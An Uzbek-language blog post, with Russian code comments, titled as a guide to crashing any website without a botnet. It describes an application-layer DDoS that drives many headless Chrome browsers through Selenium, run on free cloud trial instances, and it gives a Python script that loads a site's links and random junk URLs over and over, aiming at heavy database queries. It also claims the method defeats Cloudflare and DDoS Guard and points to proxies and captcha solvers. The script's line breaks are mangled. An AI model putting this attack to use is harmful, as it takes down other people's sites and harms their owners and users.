August 29, 2022

Smart DDoS. Har qanday saytni botnetdan foydalanmasdan qanday qulatish mumkin

Assalomu Aleykum efirda O`zbek Dasturchi, demak boshladik

Keling, "aqlli" DDoS haqida gapiraylik. Ya'ni, L7 hujumlari yoki dastur darajasidagi hujumlar haqida. Eng ilg'or mudofaa usullarining aksariyati bu hujumga qarshi kuchsizdir.

Umid qilamanki, DDoS nima ekanligini aytish shart emas. Agar kerak bo'lsa, tezda Googledan qidiring. Ushbu maqolada biz minglab botnetlar tomonidan uskunaning ishdan chiqishiga olib keladigan ibtidoiy hujumlarni muhokama qilmaymiz. Bu allaqachon o'tmishda.

Bugun men sizga "aqlli" DDoS haqida gapirib beraman. Ya'ni, L7 hujumlari yoki dastur darajasidagi hujumlar haqida. Men sizga kichik Python skripti va Selenium ramkasidan foydalangan holda haqiqiy foydalanuvchilarning xatti-harakatlarini qanday qilib to'liq taqlid qilishni aytaman. Ushbu yondashuv haqiqiy brauzerni boshqarish orqali amalga oshiriladi. Shunday qilib, inson xatti-harakatlariga imkon qadar o'xshash mexanizm amalga oshiriladi, eng ilg'or himoya usullarining aksariyati kurashishga ojizdir.

Sinovlarimizni o'tkazish uchun bizga hech qanday botnet kerak bo'lmaydi. Biz barcha kerakli resurslarni Google, Amazon yoki Microsoft-dan mutlaqo bepul olamiz, ularning har biri o'z xizmatlarini mutlaqo bepul sinab ko'rish imkoniyatiga ega. Misol uchun, Google juda kam cheklovlar bilan 3 oylik sinov muddatini va 300 dollar miqdorini taqdim etadi, bu juda jiddiy resursni sindirish uchun etarli. Qanday qilib bepul olish haqida ma'lumot, shuningdek, bulutli misollarni qanday o'rnatish haqida ma'lumot ushbu maqola doirasidan tashqarida, ehtimol biz bu haqda biroz keyinroq gaplashamiz.

Biz yaratadigan vosita bu oddiy booter/stresser, saytning yuklash qobiliyatini tekshirish uchun oddiy skript. Hatto juda katta resurslarni to'liq sinab ko'rish uchun sizga 2-4 protsessor va 4 Gb xotiraga ega 5-10 nusxa kerak bo'ladi (albatta, ko'proq yaxshi). Ko'pgina bulutli xizmatlarda chiquvchi trafik cheklovlari tufayli engilroq misollarni olish tavsiya etiladi.

Aytgancha, Selenium nafaqat DDoS uchun mos keladi. Bundan tashqari, men ushbu ajoyib SELENIUM yordamida DDoS-ni shunchaki vahshiylik deb atagan bo'lardim. Selenium, shuningdek, murakkab, yopiq resurslarni yoki nakrutka reklamalarni tahlil qilish (jumladan, YouTube-da, Selenium bo'lgan Methbot botnetini yaratuvchisi Aleksandr Jukov tomonidan amalda isbotlangan) kabi ancha murakkab vazifalarni bajaradi.

Adolat uchun shuni ta'kidlash kerakki, Selenium eng qadimgi, ammo bozorda brauzerni boshqarishning yagona vositasi emas. Seleniumdan tashqari, bunday vazifalar uchun pythonda ishlaydigan Puppeteerdan foydalanishingiz mumkin, bu ham o'zini juda yaxshi ko'rsatdi.

Ushbu maqolada men faqat ishning asosiy printsipini tasvirlab beraman. Murakkab variantlar, jumladan, socksdan foydalanish va hatto eng murakkab "kaptchalar" ni tanib olish uchun XEvil bilan o'zaro aloqa qilish ushbu maqola doirasidan tashqarida va keyinroq ko'rib chiqilishi mumkin.


Shunday qilib, Python-ni yuklab oling, barcha bog'liqliklarni o'rnating

ChromeDriver-ni yuklab oling

Selenning o'zidan tashqari, biz ko'p oqimlarni ta'minlash uchun Concurrent Futures-dan foydalanamiz.

from concurrent.futures.thread
import ThreadPoolExecutor from selenium.webdriver.chrome.options
import Options from selenium import webdriver 
import time import random 
import string import re 
chromeOptions = Options() chromeOptions.headless = True 
#как будет запускаться хром - в фоне или нет executor = ThreadPoolExecutor(20) 
#количество одновременных потоков 
def generate_random_string(length): 
letters = string.ascii_lowercase 
rand_string = ''.join(random.choice(letters) 
for i in range(length)) return rand_string 
# простейшая функция выгрузки всех ссылок с заданой страницы 
def getlinks(url): 
driver = webdriver.Chrome(r"путь к chromedriver", options=chromeOptions) 
# path к chromedriver list = [] 
driver.get(url) 
a = driver.find_elements_by_xpath('.//a') 
i = 0 for b in a: i = i+1 link = b.get_attribute("href") 
list.insert(i, link) driver.quit() 
return list 
def scrape(url): executor.submit(scraper, url) 
executor.submit(scraper, "адрес_тестируемого_ресурса/"+generate_random_string(10))
 #генерируем мусорные ссылки, если надо. кстати, если в тестируемом сайте есть функция поиска или любые другие страницы с тяжелыми запросами в БД, этот вариант - твой 
 def scraper(url): driver = webdriver.Chrome(r"путь_к_chromedriver", options=chromeOptions) 
 #path к chromedriver driver.get(url) time.sleep(15) driver.quit() urls = getlinks("адрес_тестируемого_ресурса") for url in urls * 10: #количество инстансов scrape(url)

Skript ma'lum miqdordagi Google Chrome iplarini yuklab oladi, ularning har biri havolalarni o'chiradi va shu bilan hujum qilingan saytni zich yuklaydi. Eng yaxshi ta'sirga erishish uchun sinovdan o'tgan resursni murakkab so'rovlar (masalan, qidiruv funktsiyasi yoki murakkab tanlov) bilan yuklash tavsiya etiladi.

Usulning samaradorligi haqida hech qanday shubha yo'q. Turli xil o'zgartirishlar bilan ushbu oddiy skript hatto Cloudflare, Varity yoki DDoS Guard kabi himoyalangan xizmatlarda joylashgan resurslarni muvaffaqiyatli joylashtirish imkonini beradi. Biroq, "captcha" ni hal qilish uchun sizga socks va qo'shimcha vositalar kerak bo'ladi.

Bugun hammasi shu. efirda O`zbekdasturchi edi...

Agar siz ma'lum bir mavzu bo'yicha maqolani ko'rishni istasangiz - botda menga yozing va, ehtimol, biz buni qilamiz...

xayr..